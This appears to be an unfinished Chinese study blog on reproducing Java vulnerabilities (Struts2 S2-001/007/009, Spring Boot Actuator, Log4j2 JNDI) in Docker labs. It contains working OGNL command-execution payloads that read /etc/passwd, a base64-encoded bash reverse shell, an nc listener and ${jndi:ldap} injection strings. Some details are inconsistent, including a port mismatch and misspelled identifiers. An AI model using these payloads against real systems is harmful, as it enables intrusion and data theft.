入门之前,要先过一遍Java基础语法,大概一两周的时间
本文还没写完,正在努力了。。。
目录
Java安全漫谈
Java漏洞
Struts 2
请求流程
框架判断
检测工具
常见CVE
复现环境
漏洞复现
S2-001复现
S2-007复现
S2-009复现
复现参考
Spring Boot
路由和版本
路由知识
版本知识
具体学习
总结
log4j2
简单介绍
漏洞情况
JNDI
LDAP
漏洞原理
影响版本
检测工具
复现环境
漏洞复现
入门第一步:
Java安全漫谈-知识星球代码审计-网络安全文档类资源-CSDN下载
这一部分包括但不限于
Struts2,Sping,log4j2,jastjson
下面为具体进行介绍(简单介绍+复现)
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
客户端发送请求的tomcat服务器
请求经过一系列过滤器
FilterDispatcher调用ActionMapper来决定这个请求是否要调用某个Action
ActionMppaer决定调用某个ActionFilterDispatcher把请求给ActionProxy
ActionProxy通过Configuration Manager查看structs.xml,找到对应的Action类
ActionProxy创建一个ActionInvocation对象
ActionInvocation对象回调Action的execute方法
Action执行完毕后,ActionInvocation根据返回的字符串,找到相应的result,通过HttpServletResponse返回给服务器
看url里面的连接,如果是XXX.action结尾或直接XXX.do结尾的
如果URL连接的文件没有后缀,则可能是struts2框架写的,看HTMl源码中加载/提交的文件后缀可判断。
在 URL 的反斜杠部分添加网站不存在的路径,最好是随机字符串组成的较长路径,如果返回同样的页面,则大概率是 Struts2 框架,如果返回 404 或者是报错,则大概率是 Spring 框架。
在 URL 的 Web 应用根目录下添加 /struts/domTT.css,如果返回 css 代码,那么 99% 是 Struts2。
注:有一些低版本的 Struts2 框架,domTT.css 文件不存在,需要更换为其它静态文件路径。
输入一个不存在的路径,返回 404 页面,或者传入一些乱码字符,造成当前页面 500 响应码报错,抛出异常信息。
Struts2 常用的关键字有这些:例如 no action mapped、struts2、namespace、defined for action 等。
参考:红队第2篇:区分Spring与Struts2框架的几种新方法 - 网安
https://github.com/HatBoy/Struts2-Scan
CVE-2016-3081 (S2-032)
CVE-2016-3687 (S2-033)
CVE-2016-4438 (S2-037)
CVE-2017-5638
CVE-2017-7672
CVE-2017-9787
CVE-2017-9793
CVE-2017-9804
CVE-2017-9805
CVE-2017-12611
CVE-2017-15707
CVE-2018-1327
CVE-2018-11776
https://github.com/Medicean/VulApps/tree/master/s/struts2/
https://github.com/vulhub/vulhub/tree/master/struts2
原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。
影响版本:Struts 2.0.0 - 2.0.8
docker部署:
docker pull medicean/vulapps:s_struts2_s2-001 docker run -d -p 3344:8080 medicean/vulapps:s_struts2_s2-001
部署成功
测试是否存在远程代码执行
提交后
返回123123,说明漏洞存在
使用工具Struts2-Scan扫描
python Struts2Scan.py -u http://IP:3344/login.action
构造获取web路径poc:
%{ #[email protected]@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath("/")), #response.flush(), #response.close() }
提交后返回
构造查看权限的poc:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
执行任意命令时只需要,将上面poc里whoami的命令替换
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000],#d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(), #f.getWriter().close() }
使用工具Struts2-Scan获取命令执行shell
python Struts2Scan.py -u http://IP:3344/login.action -n S2-001 -e
暂不支持
但是上面改扫到了S2-016,试试这个
也不支持
原理:age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞
影响版本:Struts 2.0.0 - 2.2.3
docker部署:
docker pull medicean/vulapps:s_struts2_s2-007 docker run -d -p 3344:8080 medicean/vulapps:s_struts2_s2-007
部署成功
使用工具扫描
未发现漏洞,离了大谱
Poc1:
使用bp抓包,插入poc
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
查看/etc/passwd -> 空格:%20 /:%2F
%27+%2B+%28%23_memberAccess%5B%22allFowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20%2Fetc%2Fpasswd%20/%27%29.getInputStream%28%29%29%29+%2B+%27
原理:OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。ParametersInterceptor中的正则表达式将top ["foo"](0)作为有效的表达式匹配,OGNL将其作为(top ["foo"])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。
影响版本:Struts 2.1.0 - 2.3.1.1
docker部署:
Dockerfile
FROM vulhub/tomcat:8.5 LABEL maintainer="phithon" RUN set -ex \ && rm -rf /usr/local/tomcat/webapps/* \ && chmod a+x /usr/local/tomcat/bin/*.sh COPY S2-009.war /usr/local/tomcat/webapps/ROOT.war EXPOSE 8080
docker-compose.yml
version: '2' services: struts2: build: . ports: - "3344:8080"
启动:docker-compose up -d
部署成功
使用工具扫描
离谱+1
Poc1:
使用bp抓包,插入poc
/ajax/example5.action?age=123&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%20%2F%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
如果改完包再在浏览器中发送,会有个下载文件
打开就是数据包返回的内容
lth师傅要让我们开始挖洞了,时间紧迫,就复现到这里吧
复现参考:盘点:史上最全Struts 2漏洞复现过程及PoC合集 - 安全内参 | 决策者的网络安全知识库
只给出前置知识点:
有些程序员会自定义 /manage
、/management
、项目 App 相关名称为 spring 根路径
Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 /
,2.x 版本则统一以 /actuator
为起始路径
Spring Boot Actuator 默认的内置路由名字,如 /env
有时候也会被程序员修改,比如修改成 /appenv
Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。
组件版本的相互依赖关系
依赖项 | 版本列表及依赖组件版本 |
---|---|
spring-boot-starter-parent | spring-boot-starter-parent |
spring-boot-dependencies | spring-boot-dependencies |
spring-cloud-dependencies | spring-cloud-dependencies |
Spring Cloud 与 Spring Boot 版本之间的依赖关系:
Spring Cloud 大版本 | Spring Boot 版本 |
---|---|
Angel | 兼容 Spring Boot 1.2.x |
Brixton | 兼容 Spring Boot 1.3.x、1.4.x |
Camden | 兼容 Spring Boot 1.4.x、1.5.x |
Dalston | 兼容 Spring Boot 1.5.x,不兼容 2.0.x |
Edgware | 兼容 Spring Boot 1.5.x,不兼容 2.0.x |
Finchley | 兼容 Spring Boot 2.0.x,不兼容 1.5.x |
Greenwich | 兼容 Spring Boot 2.1.x |
Hoxton | 兼容 Spring Boot 2.2.x |
Spring Cloud 小版本号的后缀及含义:
小版本号后缀 | 含义 |
---|---|
BUILD-SNAPSHOT | 快照版,代码不是固定,处于变化之中 |
MX | 里程碑版 |
RCX | 候选发布版 |
RELEASE | 正式发布版 |
SRX | (修复错误和 bug 并再次发布的)正式发布版 |
GitHub - LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list
主要是相关配置不当的接口,重点关注
/env、/actuator/env
/refresh、/actuator/refresh
/restart、/actuator/restart
根据不同的利用条件,通过GET、POST方法可以获取脱敏信息
或者是在传参处执行特定表达式,或远程命令执行
一般来说,远程命令执行都需要可以访问目标特定接口,且目标可以出网
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIXSyslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
一句话:log4j是目前最流行的java开源日志处理框架 , 是Apache的子项目
Apache Log4j2 是一款优秀的 Java 日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。
通过网上公开资料,这个漏洞的细节已经完全公开
根据网络公开新闻,可以梳理出以下时间脉络:
2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。
2021 年 12 月 06 日,log4j2 发布修复包 log4j-2.15.0-rc1.jar
2021 年 12 月 10 日,log4j2 发布修复包 log4j-2.15.0-rc2.jar
2021 年 12 月 10 日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。
漏洞事件回顾
JNDI即
Java Naming and Directory Interface
(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
简单粗暴理解:有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。
LDAP即
Lightweight Directory Access Protocol
(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。
这个东西用在统一身份认证领域比较多,简单粗暴理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。
借用网上看到的非常容易理解的一段话
假如某一个Java程序中,将浏览器的类型记录到了日志中:
String userAgent = request.getHeader("User-Agent"); logger.info(userAgent);这其中,
User-Agent
就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。假如有人发来了一个HTTP请求,他的
User-Agent
是这样一个字符串:${jndi:ldap://127.0.0.1/exploit}接下来,log4j2将会对这行要输出的字符串进行解析。
首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。
进一步解析,发现是JNDI扩展内容。
再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。
最后,调用具体负责LDAP的模块去请求对应的数据。
如果只是请求普通的数据,那也没什么,但问题就出在还可以请求Java对象!
Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。
如果是自己定义的序列化方式也还好,但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象。
Apache log4j2 2.0 - 2.14.1
dnslog手动检测
${jndi:ldap://[dnslog]}
注意需要URL编码
Log4j-scan
一款用于查找log4j2漏洞的python脚本,支持url检测,支持HTTP请求头和POST数据参数进行模糊测试。
https://github.com/fullhunt/log4j-scan
制品级Log4j2漏洞检测工具
本检测工具基于腾讯安全的binAuditor,支持 Jar/Ear/War包上传,一键上传即可获取到检测结果。
https://bsca.ms.qq.com/
docker环境
service docker start docker pull vulfocus/log4j2-rce-2021-12-09 docker run -d -p 3344:8080 vulfocus/log4j2-rce-2021-12-09
首先下载JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
执行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1
这里的YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNzc3NyAwPiYx
base64解码:bash -i >& /dev/tcp/127.0.0.1/7777 0>&1
参数包括-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指攻击机的IP。
攻击机监听5007端口
nc -lvvp 5007
向靶机传参:
${jndi:payload} https://127.0.0.1/?payload=${jndi:payload} https://127.0.0.1/?payload=$%7bjndi:payload%7d
之后等待获得shell即可